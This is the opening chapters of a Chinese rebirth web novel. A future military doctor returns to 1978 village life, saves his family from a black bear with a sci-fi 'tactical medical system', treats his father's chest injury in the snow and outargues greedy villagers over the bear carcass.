《重生七零：从山村少年到国之栋梁》 第1章 重活一世 “哥……” 一个怯生生的声音钻进林卫国的耳朵里。 他忽的睁开双眼，下意识的躲避。 “咚！” 脑中忽的一阵发蒙，林卫国只觉眼前一白，下意识的坐了起来。 “快呼叫增援，有伤员，我……” 话语下意识的开口，林卫国却忽的一愣。 他看着眼前的场景，神情一阵恍惚，脑中的眩晕似乎更重了。 刚才……他分明还在战场上，怎么现在…… 眼前是一个简陋的小屋，似乎有些熟悉。 “这……是哪儿？” 他分明记得，自己已经受了重伤，应该是死定了。 可现在…… “哥，你……你没事吧！” 又是那个声音！ 林卫国缓缓扭过头。看清女孩脸庞的一刹那，一股热气猛地撞上眼窝，脊背都僵了，喉头发哽，手指尖直哆嗦。 “招娣……招娣？！是招娣？！” 眼前站着的，竟是他阔别七十年的亲妹子，林招娣！ 妹妹才九岁，头发枯黄，扎着歪扭的小辫儿。小脸冻得通红，是山里孩子才有的冻疮疤癞。身上那件灰布棉袄洗得发白，几个地方都绽出了脏污发硬的棉絮。 盯着妹妹这副模样，林卫国眼睛热得发胀，煤油灯的光晕一下子糊成了片儿，滚烫的水珠子自个儿就滚下来了。他猛地张开胳膊，一把将那瘦骨伶仃的身子死命地箍进怀里，恨不能揉进自己骨头里。 “招娣！我的好妹子……真、真是你！” 林招娣吓懵了，在他怀里筛糠似的抖，小嗓子带了哭腔：“哥……你、你咋啦？你地瓜干……我没动嘴，一口都没敢偷吃……你别气、别气我……” 这话直捅心尖子，疼得林卫国嗓子眼发腥，涌上来的苦水搅着懊悔。 他全记起来了。 1978年，恢复高考的第二年。他憋着股劲儿要考出去，要飞出这穷山窝窝。家里人不懂啥叫前程，只认准了他是个读书的胚子，砸锅卖铁也要把他供出去。屯里人都嚼说老林家昏了头，放着棒劳力不下地挣工分，偏去干那没影儿的勾当。可爹娘硬是咬牙顶着风，把家里能抠出来的，一个子儿一粒粮都攒给了他。 但凡有点细粮肉腥，都得紧着他先填肚子。全家勒紧了裤腰带三年，才凑足布票扯来新布，立马给他做了身厚实的新棉袄，就为读书时能透点暖和气。 他争气考上了首都顶好的医学院，后来还穿上了军装，练了一身护国的本事。 可也是这条命，生生刨断了亲人的活路。 父亲林长山，就为了给他弄口肉压压冻僵的脑子，在那个大雪封山的鬼天气摸进老林子，再没回来。后来村里人讲，人是叫黑瞎子拍散了架。母亲孙秀娥，听信儿后一头栽倒就再没起来，眼泡流尽了，没撑过几日。 他妹妹林招娣…… 自个儿饿得皮包骨头，还总把窝窝头省下给他，最终在个大冷天的早晨，眼一闭，再也没醒过来。 亲人的惨死，成了林卫国一生都无法摆脱的梦魇。即便后来他功成名就，站在了医学界的顶端，受人敬仰，可午夜梦回，他总会看见父亲残缺的尸体和妹妹临终时那双黯淡无光的眼睛，那种痛，足以让他窒息。 回忆如潮水般退去，林卫国松开怀抱，看着妹妹那双因饥饿而显得格外大的眼睛，和已经有些干裂起皮的嘴唇，愧疚感如同实质的枷锁，勒得他喘不过气。 “所以……现在不是2049年，我回到了过去……” 他的目光猛地投向墙上那张已经发黄卷边的日历。 当看清上面的黑体字时，林卫国浑身的血液都沸腾了！ “1978年！” “妹妹还活着，爸妈……爸妈也还活着！” “哈哈哈！我回来了！”他像个孩子一样，又哭又笑，“我又有家了！我不是一个人了！” 林招娣看着哥哥状若疯癫的样子，吓得连连后退：“哥……你、你别吓我，是不是读书读傻了？咱不考了，不考了好不好……” 妹妹的话让林卫国瞬间冷静下来。 对，不考了！起码，不能再用那种牺牲全家的方式去考！ 重活一世，他绝不会再让悲剧重演。什么功名利禄，什么国之栋梁，都比不过家人平安喜乐地活在自己身边。 他深吸一口气，平复了激动的心情，伸手摸了摸妹妹枯黄的头发，然后从她手里拿过了那两片又干又硬的烤地瓜干。 感觉到哥哥的动作，林招娣抿了抿嘴，虽然已经饿得眼冒金星，却还是不敢有任何怨言。 “娘说了，等哥考上大学，咱们全家就能搬到城里去，天天吃白面馒头……”她小声地给自己打气。 然而，她预想中哥哥狼吞虎咽的场景并未出现。下一秒，一片带着些许温度的地瓜干被塞到了她的嘴边。 “招娣，快吃，一会儿更硬了，嚼不动的。”林卫国嗓子里像揉了沙子，却裹着不容抗拒的暖意。 正迷迷糊糊的林招娣，眼皮一下子撑圆了。她脖子一梗，惊慌地扭开脸：“不行，哥！我哪能吃这个呀！” “我……我真不饿！” 这话，像把冰冷的锥子，猛地扎进林卫国心口——和妹子上回闭眼前说的，分毫不差。一股腥甜的绝望涌上喉咙。 这回，说什么也不能依她！ 趁招娣张嘴的刹那，那片地瓜干被他不由分说塞了进去，话音沉了下来：“给我吃下去！听见没！” 干硬的薯块在嘴里慢慢化开甜香，招娣馋得嗓子眼直冒酸水。她还是使劲摇脑袋，含混地嘟囔：“……让娘瞧见……非抽我不可的……” 林卫国咧了咧嘴，那笑意挤得腮帮子发僵：“傻丫头，爹娘下地呢，哪只眼瞧得见？快吃，哥肚子里饱着。”他眼神像生了根，牢牢定在她脸上。 招娣攥着衣角的手指松了松。肚子却不争气地“咕噜”一声——这大半天她水米没沾牙，就想省给眼前这人。 “……那我…我就啃个边儿……” 终于，在那视线裹挟下，她试探着伸出舌尖舔了舔。干粮“哧溜”一下滑进食道，空瘪的胃袋猛地抽搐，反倒勾出更凶的饿来。可不知怎的，嘴里这点甜味，比过年肉包子还香。 “甜！”她眯缝起眼，喟叹冲口而出。 【亲爱的读者，如果认为内容可以，记得加入书架哦，方便下次阅读~】 第2章 营救父母 看着妹妹那副满足又小心翼翼的样子，林卫国笑着，眼泪却在眼眶里打转。 前世的他，被所谓的“远大前程”蒙蔽了双眼，竟对身边亲人的苦难视而不见。如果当初他能多分一丝关心给这个妹妹，她又怎么会年纪轻轻就凋零？ 他将另一片地瓜干也塞到了林招娣的手里，不容分说道：“好吃就都吃了！你正在长身体，不多吃点怎么行？” 林招娣手里捧着地瓜干，饥饿感驱使着她想要立刻狼吞虎咽，可理智又让她犹豫。 “哥……你真不吃吗？” “等你吃完，哥再吃。”林卫国撒了个谎。 他知道这个年纪的孩子有多能吃，一片地瓜干根本不顶用。可即便饿成这样，妹妹还在恪守着那个“一切以哥哥为先”的家庭准则。 “你不听哥的话了？”林卫国板起了脸。 看着哥哥认真的表情，林招娣终于不再推辞，低下头小口小口地啃了起来。可没过两口，那压抑许久的饥饿感便占了上风，她再也顾不得什么，开始狼吞虎咽，仿佛要把自己的舌头也吞下去。 林卫国看着妹妹瘦小的背影，脸上露出欣慰的笑容。他拿起桌上陶碗里剩下的一点地瓜干碎渣，倒进嘴里，仔细地嚼着。 五十年前的粗粮，口感干硬粗糙，拉嗓子，和后世的精加工食品完全没法比。可此刻的林卫国却觉得这是无上珍馐，因为这味道里，有家的感觉。 腹中的饥饿感依旧强烈，但心里却被一种巨大的满足感填满了。 他帮着被噎住的妹妹拍了拍背，目光扫过自己曾经的书桌。桌上放着一本翻得卷了边的数学习题集，上面的字迹是用铅笔头写的，有些已经模糊不清。 前世，他就是在这盏昏暗的油灯下，靠着强大的意志力，一步步从这个小山村走了出去，最终站上了世界的舞台。 正在感慨时，林卫国突然想起了最关键的事情，连忙问道：“招娣，咱爸咱妈呢？” 林招娣喝了一口陶锅里温着的雪水，眨着大眼睛道：“你忘啦？爸上山下套子去了，妈不放心，也跟着去了。” “爸说你读书费脑子，得上山给你弄点野味补补！” 这句话如同一道晴天霹雳，在林卫国脑海中炸响！他猛地站起身，冲到墙边的日历前，当看清上面用红笔圈出的日期时，只觉得一阵天旋地转！ 1978年11月22日！ 他永生永世都忘不了这个日子！ 就是这一天，父亲林长山和母亲孙秀娥在上山途中遭遇了冬眠前四处觅食的黑熊，双双遇难！ 等村里人组织起来找到他们的时候，父亲已经被开膛破肚，母亲也被拍碎了天灵盖，死状凄惨无比。 好不容易重来一回，林卫国绝不能让这样的惨剧再次发生！ 他立刻转身问道：“爸妈是什么时候出门的？” 林招娣歪着脑袋想了想，不确定地说：“大概……够烧两锅开水的时间了吧。” “爸说了，等他们回来，咱们晚上就能喝上肉汤了！” 林卫国的心沉到了谷底。烧一锅开水大概要二十分钟，两锅就是四十分钟。从家到山脚要走将近半小时，算下来，父母已经在山里待了一个多小时了…… 记忆已经过去了七十年，他记不清父母遇难的具体时间点，但他一刻也等不下去了！ 他猛地拉开房门，就要往外冲。 “招娣，在家锁好门，哪儿也别去，哥去接爸妈回来！” 看着哥哥焦急的背影，林招娣连忙追到门口喊道：“哥，雪那么大，爸不让你上山的，你忘啦！” 林卫国哪里还管得了那么多！如今有了拯救家人的机会，他说什么也不会放过！ 房门一开，夹杂着雪粒的“烟泡”风猛地灌了进来，劈头盖脸地打在林卫国脸上。放在以前，他肯定会缩回温暖的屋里。可现在，他只觉得一股热血在胸中激荡，浑身都充满了力量。 这就是十八岁的身体，充满了无限的可能！ “爸，妈，你们一定要等我！” 他在心中呐喊着，一头扎进了茫茫的风雪中，朝着后山的方向狂奔而去。 前世在特种部队，零下四十度的雪地急行军是家常便饭。此刻虽然身体素质远不如前世，但凭借着丰富的经验和强大的意志力，他的速度依旧不慢。 “快点……再快一点！”他在心中催促自己。 可刚跑出去几百米，林卫国突然停下了脚步。他意识到一个致命的问题：他出门太急，手上没有任何武器！ 自己是去救人的，到时候真遇上熊瞎子，凭着这副十八岁的身体，赤手空拳地上去，不过是多搭上一条命而已！ 这个念头刚一闪过，他突然感觉大脑深处传来一阵轻微的、如同电流通过般的异样感。紧接着，一个半透明的蓝色数据界面，突兀地出现在他的脑海中。 【战术医疗系统已激活……正在检测宿主状态……】 【精神力：10/100（极度虚弱）】 【可具现化物品列表：扫描中……】 林卫国愣在原地，随即狂喜！ 这不是幻觉！这是当年与他一同植入大脑的“战术医疗系统”！这个代表着2049年顶尖科技的产物，竟然也跟着他一起重生了！ 他立刻集中精神，尝试与系统沟通。 【扫描完毕。检测到可用模板：1级手术刀（锋利度+200%），1级战术匕首（高碳钢），1级小型军用手弩。】 【警告：具现化物品将消耗宿主精神力，精神力耗尽将导致宿主昏迷。】 看着脑海中那三样熟悉的物品，他毫不犹豫地选择了战术匕G首！ 心念一动，下一刻，一柄造型流畅、闪烁着幽冷寒光的匕首凭空出现在他手中。那种沉甸甸的、无比熟悉的触感，让他瞬间找回了前世身为特战队员的感觉。 他随意地在空中挥舞了几下，破空声凌厉干脆。 有了这东西，还怕什么熊瞎子？ 他又尝试了一下，当感觉到大脑传来一阵轻微的胀痛后，立刻停了下来。 “看来以我现在虚弱的精神力，调用这个系统还是相当吃力。”他默默想道。 他看到系统列表中还有许多灰色不可选的选项，比如大口径狙击枪，甚至单兵外骨骼装甲。他只是稍微集中精神想了一下，便感觉眼前一黑，差点栽倒在雪地里。 “不行，那些高阶装备消耗太大了，强行调用只会让我立刻休克。” 他迅速冷静下来，再次评估自己目前能动用的资源。 一柄无坚不摧的战术匕首，还有一把能悄无声息致敌于死地的小型手弩。 这两样东西，在这个年代的深山老林里，简直就是降维打击！ 整理好思绪，林卫国不再犹豫，将匕首紧紧握在手中，再次朝着后山的方向狂奔而去！ “爸！妈！等我！” 第3章 就再试一把！ 山上的风雪比山下更刺骨。 积雪没到了小腿肚，踩下去雪沫子就直朝裤管里钻。 这种天气留的脚印，没几下就让风雪抹平了，啥也剩不下。 林长山扶着棵碗口粗的红松，猛捶了两下胸口，想把堵着的气顺下去。 他身后的孙秀娥裹得严严实实，双手死死抓住他的胳膊。 “长山……慢着点！” 她喘着粗气，声音裹着风，“雪底下指不定藏着‘地窨子’！” 她把冻硬的头巾往下扒拉了扒拉，眉毛睫毛都糊着白霜。 “再往前……”孙秀娥喉咙发紧，“可就是‘黑瞎子沟’那鬼地方了……俺前日听李婶子讲，开春那会儿她家二小子可在那儿真真儿瞅见带崽儿的熊瞎子！咱……要不，还是回吧？” 林长山脑袋立刻摇成了拨浪鼓：“回啥回！” “你瞅瞅卫国念书念得？脸都瘦成门板了！成天嚼地瓜干，脑子咋能转得灵光？”他狠狠啐了口唾沫，冻在半空，“再说，空手回去？娃过年眼馋别人家碗里的肉，咱俩白瞎了爹娘供他上学的钱啊！” 孙秀娥嘴唇动了动，没再吱声，只沉沉叹了口气，风卷着白气飘走了。 他们家以前的日子虽然不富裕，但有他和儿子两个壮劳力，一年到头挣的工分，总不至于让家人饿肚子。可自从卫国一门心思要考大学，他们就再没让他下过一次地。 家里凭空少了一个主要劳动力，女儿招娣年纪又小，就算她一个女人当两个用，也顶不上一个年轻力壮的林卫国啊。 但这些话，她不敢在孩子面前说。 她虽然是个没什么文化的农村妇女，却也明白，眼前的辛苦，哪能跟考上大学，吃一辈子商品粮相比？她本以为咬咬牙，苦个一两年就过去了，可没想到，日子会苦到这个地步…… 一想到儿子，夫妻俩便不再多言，所有的担忧和恐惧，都汇成了一个沉重的“走”字。 两人相互搀扶着，继续往山的深处走。突然，林长山目光一凝，猛地拉着孙秀娥蹲了下来，压低了声音。 “秀娥，你看那！” 顺着他手指的方向，孙秀娥看到不远处的雪地上，隐约有一串细碎的脚印。山里风大雪急，人的脚印都留存不了多久，更何况是动物的？ 现在这脚印还没被完全覆盖，说明留下它的猎物就在不久前来过！ “是‘傻狍子’的蹄印！”林长山兴奋地压低声音。他打小就在山里混，是个经验丰富的老猎人，一眼就能分辨出各种动物的踪迹。 “秀娥，把咱们下的夹子拿过来，这附近肯定有它的窝！” 孙秀娥也激动地点了点头。他们已经在山里转悠了快一个时辰，手脚都快冻僵了，总算见到了希望，哪能不激动？ 两人猫着腰，像狸猫一样悄无声息地又往前摸了十几米。 很快，林长山就在一处背风的石壁下，扒开枯草，发现了一个半掩的洞穴。 “在这！” 他声音压着兴奋。 “秀娥，你等着，我去下夹子！”林长山低声嘱咐。 孙秀娥“嗯”了一声，冻僵的手往袖筒里缩了缩，又从怀里摸出几块晒得干硬的咸萝卜——这就是他们带的所有诱饵了。 林长山猫着腰，像贴着地皮滑行般靠近洞口。 他利落地掰开那个大号铁捕兽夹，轻轻摆好，又抓起一把枯草碎屑仔细盖在上面遮掩，这才把那几块咸萝卜稳稳搁在夹子中心。 布置停当，他退后几步，悄没声地隐到一棵粗壮的老松树后，顺手抽出腰带上那杆磨得雪亮的铁矛。 矛尖是他用废钢板一点点打磨出来的，寒光四射，刺人眼睛，是他看家保命的宝贝。 静默没过多久，洞里就传来细微的响动。 一只半大的狍子，警惕地探出半个脑袋，鼻头一抽一抽，不安地嗅着冷风。 猎物现身了！ 夫妻俩心头都是一跳，喜意刚冒头就被死死按下去，大气都不敢喘——成败可就在这眨眼的工夫。 那狍子左右张望了一阵，似乎没觉出危险，眼神终于钉死了那几块散发着诱人咸味的萝卜上。 它往前一窜，低头就要叼！ “咔哒！” 机括弹响，两排狰狞的铁齿猛地合死，死死咬住了狍子的前腿！ 凄厉的嚎叫刚撕裂山林的寂静，树后的林长山已经动了！ 他像绷紧的弓弦骤然释放，豹子般射出，一声低吼伴着铁矛破空！ “噗！” 矛尖精准地扎穿了狍子的脖颈！那畜生疯狂蹬了几下腿， 猛地一僵，软软垂下。 林长山几步抢上前，一把提起还在汩汩淌血的狍子。 沉甸甸的份量和尚未消散的热气传到他手上，那风吹日晒的脸庞总算绽开一丝难得的笑容。 孙秀娥也赶紧跑过来，看到丈夫手里的收获，激动得声音都颤了：“逮……逮着了！长山，咱逮着了！” 林长山咧开嘴，掂量着：“嚯！少说五六十斤！皮子能卖个好价，肉够咱家糊弄一个多月的嘴了！” 孙秀娥却瞧着狍子被夹断的前腿，心疼地咂嘴：“唉，可惜这皮子了，叫夹子啃掉一块，不然到供销社，多换几尺厚实的布多好……” “不赖了！” 林长山浑不在意，“这大家伙，够咱烧高香了！” 孙秀娥连连点头，拽他袖子：“那快走吧，这黑瞎子沟里，可不是久待的地儿。” 林长山却有些挪不动脚，眼睛往洞里瞟：“等等……好容易撞上这兔子窝，空手走了，心里过不去啊。” “刚那么大响动，窝里的兔子怕是早惊了魂儿，哪还敢露头？” 孙秀娥心慌得厉害，“快走吧，我这心突突跳，没着没落的。” “就再试一把！” 林长山固执地舔了下干裂的嘴唇，“多一只兔子，招娣就能多吃两顿饱饭……” 看他那犟劲又上来，孙秀娥心里虽打鼓，可想想女儿那黄瘦的小脸，终究没再争辩，无奈地回到原地，挨着他蹲守。 滚烫的狍子血，一滴，一滴砸在冰冷的雪地上，迅速凝结成暗红的冰坨。 刺鼻的血腥味儿，却被凛冽的山风裹挟着，悄无声息地向着黑黝黝的密林深处飘散开去。 第4章 爹……回不去了…… 跑进山里后，林卫国没敢停下过脚。累了步子就加紧些，渴了直接抓把干净的雪，囫囵咽下。 他早就记得，爹娘出事是在“黑瞎子沟”那方向，脚下几乎就没犹豫，顶着大风雪直冲那儿奔去。风雪打得人睁不开眼，地上哪儿还找得着脚印？他只能深一脚浅一脚跑着，眼角一刻不停地扫视四周。 刚摸进那片怪石嶙峋的山沟，一棵松树干上凿出的印子猛地跳进眼帘。 “这是……” 他扑到树下，看清那树皮上深深砍出的‘山’字标记，喉咙顿时一紧。是爹！年轻时教过的法子，防迷路用的！ “人肯定就在这跟前了！” 眼眶一热，他狠狠喘了几口粗气，再次弓腰冲进林子深处。 果然，越往前，树干上那刀痕似的标记越密，木茬子也越发白净扎眼，林卫国只觉得浑身血热了起来！ 又往前跑了大约五六分钟，就在这时，从不远处的密林中，突然传来一声低沉而充满野性的咆哮，惊得他全身的汗毛瞬间倒竖！ “嗷——！” 这不是狼嚎，这是……熊的吼声！ 林卫国的脸色瞬间变得惨白！ “他们遇上熊了！” 他再也顾不上节省体力，将速度提到了极限，朝着吼声传来的方向飞奔而去！ …… 雪地中。 林长山和孙秀娥背靠着背，紧紧站在一起，脸上写满了绝望。 当听到第一声熊吼时，林长山就后悔了，悔得肠子都青了！ 然而等他们想跑的时候，已经来不及了。一个庞大的黑影，从林子里缓缓走了出来，那双小眼睛里闪烁着贪婪而残忍的光芒。 “熊……是黑瞎子！”孙秀娥的声音抖得不成样子。 林长山现在无比痛恨自己的贪心。他要是得手之后立刻就走，就不会耽误那十几分钟，也就不会被这山里的霸主盯上！ 他看了一眼地上的那摊血迹，后知后觉地反应过来。 “肯定是这畜生闻到血腥味找上来的！”他懊恼地低吼，“秀娥，都怪我……我不该贪心，我该听你的……” 孙秀娥苦笑着摇了摇头，眼泪已经冻在了睫毛上：“现在说啥都晚了，长山，是我拖累了你……” 正当两人说话时，那头体型硕大的黑熊又往前走了几步，人立而起，发出一声震耳欲聋的咆哮。 林长山一把将妻子扯到身后，铁矛杆子在他手里攥得咯吱响，汗透了掌心。 他瞥见怀中那只冻硬的狍子，心头狠狠一抽，牙关紧咬，还是卯足劲把狍子砸向了黑熊那头。心尖子疼得打颤，他哑着嗓子从牙缝里挤出话：“盼着它图口吃的，吃饱了……兴许就能高抬贵手。” 狍子砸在雪堆里，黑熊鼻子猛地翕动，浑浊的眼珠转向了那团死物。 它用厚掌死死按住狍子，低头大口撕咬起来。咔嚓嚓的碎骨声钻进耳朵，刺得两口子浑身汗毛倒竖，后背像浇了冰水。 “走！蹭着雪往后挪！” 林长山压低吼，把妻子手腕都捏白了，脚底板一步一蹭往后捱。 孙秀娥心也像被剜了，可她明白，舍头狍子，总比舍了两条命强。 他俩才挪了没几步，那黑熊猛地抬起血糊糊的脑袋，喉咙里挤出一声闷在喉咙里的咕噜。它像是忽然醒过味来——这两玩意儿要溜，敢耍它！ “糟！这畜生没想放咱走！”林长山的心“咯噔”往下一沉。 “吼——！”黑熊甩下嘴边的肉，沉重的脚掌踩在雪地里发出“扑、扑”的闷响，竟像座小山似的直接撞了过来！ “快跑哇！”林长山眼珠子都要瞪出来了，使了吃奶的劲儿把孙秀娥往树干后头猛地一搡，自己却拧过身子，不管不顾地迎着那片黑影撞了上去！ “长山——！”孙秀娥嗓子都喊劈了音。 “噗嗤！” 林长山是真豁出去了，手里的铁矛狠命一攮，矛尖狠狠扎进了黑熊肩胛那厚墩墩的毛皮里。 可就这么点力道，根本就伤不了这畜生！ 黑熊一声狂叫，熊掌带着风声，一下就拍在林长山的胸口！ “咔嚓” 林长山像个被甩飞的破麻袋，身子倒栽出去，重重砸在树干上，“哇”地喷出一大口血沫子。 “长山——！”孙秀娥眼珠子都红了，啥也没想，抓起脚边一块尖石头就朝黑熊砸了过去。 黑熊连躲都懒得躲，一步步朝瘫在地上的林长山逼过去。 林长山只觉得胸口全塌了，口鼻之间全是血沫子。 那团巨大的黑影越逼越近，他眼里只剩下无边无际的后悔，还有对那热炕头和小院的念想。 “卫国，招娣……爹……回不去了……” 眼皮像是灌了铅，一点一点沉下去。 就在那喷着热气的血盆大口快要咬上他脖子的当口！ “飕——！” 一道撕裂空气的尖啸，裹着股要命的狠劲儿，猛地从侧面射来！ 一支黑黢黢的弩箭，不偏不倚，正正地钉进了黑熊的右眼窝！ “嗷嗷嗷嗷——！” 钻心的剧痛让黑熊爆发出山摇地动的惨嚎，它像疯了一样乱晃脑袋，想把眼窝里那玩意儿甩出去。 “谁？！”林长山猛地睁眼。 “咻——！” 又一道破空声！第二支弩箭，分毫不差地射穿了黑熊另一只眼睛！ 双目失明的黑熊彻底发了狂，熊掌胡乱挥舞，拍得四周树干咔咔作响，却再也找不到目标。 风雪中，一道矫健的身影如同鬼魅般冲出！他手握一柄寒光凛冽的匕首，以惊人的速度绕到黑熊身后。 来人正是拼了命赶来的林卫国！ 看到雪地里生死不明的父亲，林卫国双眼瞬间血红，周身杀气腾腾！ 万幸……还赶得及！ 他毫不迟疑，趁着黑熊狂暴乱舞的空档，猛地一蹬身旁树干，整个人腾空跃起！手中的战术匕首，借着下坠的力道，用尽全身力气，狠狠扎进黑熊的后颈！ 这匕首是未来特种合金打造，锋利远非当世任何兵器可比。 “噗嗤——！” 匕首毫无阻碍地贯穿厚皮，深深刺入颈椎！ “嗷——！” 黑熊发出最后一声不甘的咆哮，庞大的身躯轰然倒地，溅起漫天雪沫。 解决了黑熊，林卫国连气都顾不上喘，立刻扑到父亲身边。 “爹！爹！你咋样了？”他声音嘶哑，带着哭腔。 第5章 爹，我回来了！ 林卫国扑跪在雪地里，他爹林长山就躺在那儿。刺目的血糊了他满眼。爹胸前衣服破了，脸上一点人色都没，嘴里不断涌出血沫子，呼哧呼哧的喘气声，像台要散架的破风箱。 “长山！醒醒啊长山！”他妈孙秀娥的哭喊被风撕碎，呜呜咽咽透着绝望，“卫国！是卫国回来了！” 林卫国手指按上他爹脖子侧面。那脉搏太弱，几乎摸不着。他心猛地一沉。 爹胸膛深深凹进去一块，肋骨肯定断了不止一根，八成把肺也捅穿了，血气塞胸。 这种伤，别说在深山，立马抬到县医院，怕是也回天乏术。 孙秀娥瞅着儿子脸色的变化，最后那点指望也噗地灭了。 她瘫在雪里放声嚎哭：“卫国……你爹……他不行了……老天爷啊……我们到底造了什么孽啊！” “妈！安静！” 林卫国猛地扭头一声低吼。 哭声戛然而止。 孙秀娥被儿子从未有过的严厉震住。 悲伤无用！耽误一秒，父亲就离死亡更近一步！林卫国强迫自己冷静，意识瞬间下达指令：“系统！扫描伤情！制定方案！” 【战术医疗系统】响应，淡蓝光幕在脑中铺开。 清晰的胸腔透视显现，三根断裂肋骨标记刺目——其中一根锋利断端已深深扎入右肺。空气与血液涌入胸膜腔，将肺挤得只剩小半！ 冰冷的机械音伴随刺耳警报炸响：【警告：严重张力性气胸！胸腔高压压迫心脏大血管！预计5分钟内心脏骤停！】 五分钟！ 林卫国瞳孔猛缩，立刻转向母亲：“娘！别哭！按我说的，爹还有救！”语气不容置疑，带着一种威压。 失魂的孙秀娥下意识止住抽泣：“还……还有救？” “有！”没时间解释，“扶住爹后背，让他半躺！头抬高，身体侧一点！快！” 他亲手调整父亲身体成特殊半卧姿势，以暂减胸腔对心脏的压迫。孙秀娥困惑，但儿子话里的坚定让她抓住一丝希望，连忙用冻僵的身体撑住丈夫。 紧接着，在孙秀娥惊骇的目光下，林卫国抽出那柄尚滴着熊血的战术匕首，捡起几根枯枝点燃，刀尖在火苗上飞速一掠。 “滋啦！”焦糊味混着青烟腾起。 孙秀娥魂飞魄散，扑过去死死抓住他手腕：“儿啊！你要干啥！你爹不行了，你疯了吗！” “我没疯！”林卫国眼神锐利如刀，反手攥住母亲冰冷的手，“爹肋骨断了，刺破肺！现在气憋在胸腔里出不来，把心肝都挤住了！再不放出这口气，爹立马就得憋死！” 他紧盯母亲双眼，一字一顿：“村里赤脚医生治不了！抬下山送到县里，人早凉了！现在能救他的，只有我！信我！” 半是解释半是命令，那股强大自信震得孙秀娥脑中空白。儿子眼中冰冷的锐气，全然不像十八岁少年，让她一个字也吐不出。 就在愣神瞬间，林卫国挣开手。 他跪在父亲身侧，左手在其右侧胸壁飞快摸索定位。脑中光幕上，一个绿色十字精准锁定最佳穿刺点——第二肋间锁骨中线！ 无视母亲的阻拦，右手匕首对着目标，快！准！狠！直刺下去！ “噗嗤！” 锋刃精准刺入寸余，干脆利落。 “啊——！”孙秀娥尖嚎，几乎昏厥。 林卫国手腕纹丝不动，巧妙地一转一挑！ “嗤——！”一声轻响，混着血丝的气流猛地从伤口喷射而出，如同扎破的车胎。 奇迹乍现！ 原本呼吸困难、喉中作怪响的林长山，胸腔起伏竟迅速平复下来！那因缺氧青紫的脸，竟不可思议地透出一丝血色！ 孙秀娥彻底懵了。她张着嘴，眼睁睁看着丈夫缓过一口气，又看向儿子冷静到可怕的操作——那哪是她只会读书的儿子？分明是个精于此道的顶尖大夫！ 卫国……他什么时候会的？！这完全超出了她的认知。 林卫国轻轻拔刀。父亲呼吸虽弱，却已脱离鬼门关。他这才长舒一口气。 最危险的张力性气胸过去了。但后续的伤口处理、防感染、安全转移下山，个个都是难题。 他脑中急转思索对策时，不远处林子里骤然响起杂乱的脚步声和人声： “声音就是从黑瞎子沟传来的！” “家伙拿稳了！别是撞上了大家伙！” “柱子，打头去看看！” 黑熊临死的咆哮，终究把山下屯子的青壮引来了。 林卫国眼神瞬间凌厉。 他扫过地上小山般的熊尸，又瞥了一眼自己刚刚那近乎妖法的施救场面。 他心头一紧，这头熊瞎子加上自己这身无从解释的医术，怕是要惹上天大的风波了！ 此时，风雪中便冲出几道人影。 为首的是五十多岁的李大山，肩扛猎枪，眼神锐利如鹰。 他身后跟着七八个手持锄头铁锹的青壮年，个个气喘吁吁，显然是匆忙赶来。 其中吊儿郎当、贼眉鼠眼的年轻人，正是林卫国二叔的儿子——林二牛。 这群人冲进林间空地，瞬间被雪地上小山般的黑熊尸体震住了，倒吸凉气，脚步顿停。 “我的天！这么大的熊瞎子！” “死了？谁干的？” 震撼过后，目光骤然滚烫，贪婪地黏在庞大的熊尸上。 这熊浑身上下都是宝！换了就是活命的粮！ 没人会让这宝贝从眼前溜掉。 林二牛第一个窜出来，叉着腰就嚎开了： “眼瞎没？熊死红旗大队的地界儿上！那就是咱大伙儿共产！” “没跑儿！” 马上有人接话茬。 “对，公家的！” “哼？谁打死归谁？扯淡！搁这儿立山头啊？” 孙秀娥气得要开骂，林卫国一把拽住她胳膊。 李大山眼神扫过林长山，见他那惨样，眉头拧死： “林二牛！放你祖宗的屁！” 他抬手指着林长山那边，脖子青筋直冒： “眼珠子长腚后头了？长山兄弟拼掉半条命干翻这畜生的！你让拼命的喝风？方才熊瞎子吼得山直晃，你个林二牛咋不蹦出来喊那是大伙儿的熊？” “孬货！那会儿你缩哪儿当孙子了？这会倒来充人物？” 第6章 值钱货全白瞎了！ 李大山在村里威望极高，几个附和的村民都低下了头。 林二牛脸青一阵白一阵，梗着脖子犟道：“李叔，一码归一码！队里有规矩，山里的东西就是集体的，这规矩不能坏！你不能因为跟长山叔关系好就坏了规矩！” 见李大山压不住，他转向其他村民煽动道：“大伙想想！这么大一头熊，要是让林卫国家独吞了，你们能看着？交给大队，按人头分，家家户户过年都能见荤腥！他家吃肉，大伙儿连汤都喝不上，这公平吗？” 这番极具煽动性的话，瞬间戳中了众人私心。 刚才羞愧的村民心思又活络起来，看向林卫国一家的眼神变了味。 面对几乎失控的场面，林卫国却异常平静。 他缓缓起身，冷冷看着上蹿下跳的林二牛，并不争辩熊的归属，只是伸手指了指地上胸口塌陷的父亲，声音不大，却像冰冷的刀子扎向林二牛。 “你说得对，山里的东西是集体的，”林卫国语气平淡，“那我问你，我爹为了杀这头熊，现在生死不知。按你的说法，我爹这条命，大队准备给算多少工分？” 全场瞬间死寂！所有人都愣住了。 林二牛脸上的得意猛地僵住，像挨了一耳光，张着嘴说不出话。他能把熊说成集体的，但敢把林长山的命也算工分吗？ 敢让大队承担医药费抚恤金吗？ 他不敢！ 大队穷得叮当响，谁肯背这锅？ 林卫国一句话将财物纠纷上升到了人命和责任层面，彻底堵死了林二牛的路。 他不给林二牛反应的机会，环视众人。 那双眼中与年龄不符的沉痛和锐利，让每个村民都下意识避开了目光。 “各位叔伯乡亲！” 林卫国声音沉痛，“今天是我爹运气好，我正好赶到，父子俩拼命才放倒这畜生。换作你们任何一家，单独遇上这熊瞎子，会是什么下场？” 他顿了顿，陡然拔高声音：“我爹这是为大家除害！以后黑瞎子沟谁上山不提心吊胆？现在我爹为了大伙儿重伤躺在这里，血还没凉，你们不问他伤势、不想着救人，却先来分他拼命换来的东西？” “这钱，你们分得安心吗？！” 最后一句质问如重锤，砸在每个人心上。 刚才附和林二牛的村民满脸羞愧，纷纷低头。 是啊，人家爹都快死了，他们却只想着分肉，与趁火打劫何异？ 李大山目露赞许，暗暗称奇。 这小子平日里文弱，没想到嘴皮子利索，脑子转得也快。 “卫国说得对！” 李大山站出来打破沉寂，“先救人！长山兄弟伤得重，赶紧做担架下山！卫国，我帮你！” “对对，先救人！” “卫国，要搭把手不？” 风向瞬间逆转，之前的贪婪被愧疚取代。 林二牛眼看煽动彻底失败，自己反成众矢之的，脸色铁青。 